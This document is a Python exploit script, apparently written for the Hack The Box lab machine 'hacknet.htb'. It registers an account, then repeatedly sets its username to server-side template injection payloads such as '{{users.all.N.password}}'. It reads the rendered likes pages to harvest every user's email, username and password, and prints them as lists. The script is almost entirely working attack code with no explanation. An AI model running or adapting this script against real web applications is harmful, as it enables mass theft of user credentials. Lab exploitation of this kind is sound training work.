import requests
import io
import random
from bs4 import BeautifulSoup
from tqdm import tqdm

def random_string(length=8):
    letters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
    return ''.join(random.choice(letters) for i in range(length))

def get_csrf_token(session, url):
    res = session.get(url)
    soup = BeautifulSoup(res.text, 'html.parser')
    csrf_token = soup.find('input', {'name': 'csrfmiddlewaretoken'})['value']
    return csrf_token

def change_username(session, new_username):
    csrf_token = get_csrf_token(session, 'http://hacknet.htb/profile/edit')
    files = {
        'picture': ('', io.BytesIO(b''))
    }
    data = {
        'csrfmiddlewaretoken': csrf_token,
        'email': '',
        'username': new_username,
        'password': '',
        'about': '',
    }
    res = session.post('http://hacknet.htb/profile/edit', data=data, files=files)

base_url = 'http://hacknet.htb/'
s = requests.Session()

# register
csrf_token = get_csrf_token(s, 'http://hacknet.htb/register')
my_email = f"{random_string(5)}@{random_string(5)}.com"
my_username = random_string(10)
my_password = 'password'
print(f'Registering with email: {my_email}, username: {my_username}, password: {my_password}')
register_data = {
    'csrfmiddlewaretoken': csrf_token,
    'email': my_email,
    'username': my_username,
    'password': my_password,
}
res = s.post('http://hacknet.htb/register', data=register_data)
print('Registration done')

# login
csrf_token = get_csrf_token(s, 'http://hacknet.htb/login')
login_data = {
    'csrfmiddlewaretoken': csrf_token,
    'email': my_email,
    'password': my_password
}
res = s.post('http://hacknet.htb/login', data=login_data)
print('Login done')

# create an article
csrf_token = get_csrf_token(s, 'http://hacknet.htb/profile')
article_data = {
    'csrfmiddlewaretoken': csrf_token,
    'text': 'a',
}
res = s.post('http://hacknet.htb/post', data=article_data)
# get id of the created article
soup = BeautifulSoup(res.text, 'html.parser')
article_id = int(soup.find_all('span', {'class': 'likes'})[0]['post_num'].strip())
num_articles = article_id - 1
print(f'Created an article with id {article_id}')
print('So probably there are at least', article_id - 1, 'articles on the platform')
print('Extracting user data via SSTI from the articles...')
all_user_data = {}
for article_id in tqdm(range(1, num_articles + 1)):
    # put like
    res = s.get(f'http://hacknet.htb/like/{article_id}')

    ssti_payload = r'{{users.all}}'
    change_username(s, ssti_payload)

    # get result
    res = s.get(f'http://hacknet.htb/likes/{article_id}')
    soup = BeautifulSoup(res.text, 'html.parser')
    results = soup.find_all('img')
    if len(results) == 0:
        continue
    user_data = results[-1]['title']
    num_users = len(user_data.split(','))
    for i in range(num_users):
        # extract email
        ssti_payload = r'{{users.all.' + str(i) + r'.email}}'
        change_username(s, ssti_payload)
        res = s.get(f'http://hacknet.htb/likes/{article_id}')
        soup = BeautifulSoup(res.text, 'html.parser')
        email = soup.find_all('img')[-1]['title'].strip()

        # extract username
        ssti_payload = r'{{users.all.' + str(i) + r'.username}}'
        change_username(s, ssti_payload)
        res = s.get(f'http://hacknet.htb/likes/{article_id}')
        soup = BeautifulSoup(res.text, 'html.parser')
        username = soup.find_all('img')[-1]['title'].strip()

        # extract password
        ssti_payload = r'{{users.all.' + str(i) + r'.password}}'
        change_username(s, ssti_payload)
        res = s.get(f'http://hacknet.htb/likes/{article_id}')
        soup = BeautifulSoup(res.text, 'html.parser')
        password = soup.find_all('img')[-1]['title'].strip()
        
        all_user_data[email] = {
            'email': email,
            'username': username,
            'password': password
        }

        # reset like
        res = s.get(f'http://hacknet.htb/unlike/{article_id}')

print(f'Extracted {len(all_user_data)} users')
print('Printing emails, usernames and passwords of users:')
for user in all_user_data.values():
    print(user['email'], user['username'], user['password'])

print()
print('Printing all users extracted from emails')
for user in all_user_data.values():
    print(user['email'].split('@')[0])

print()
print('Printing all passwords')
for user in all_user_data.values():
    print(user['password'])

# restore username
change_username(s, my_username)
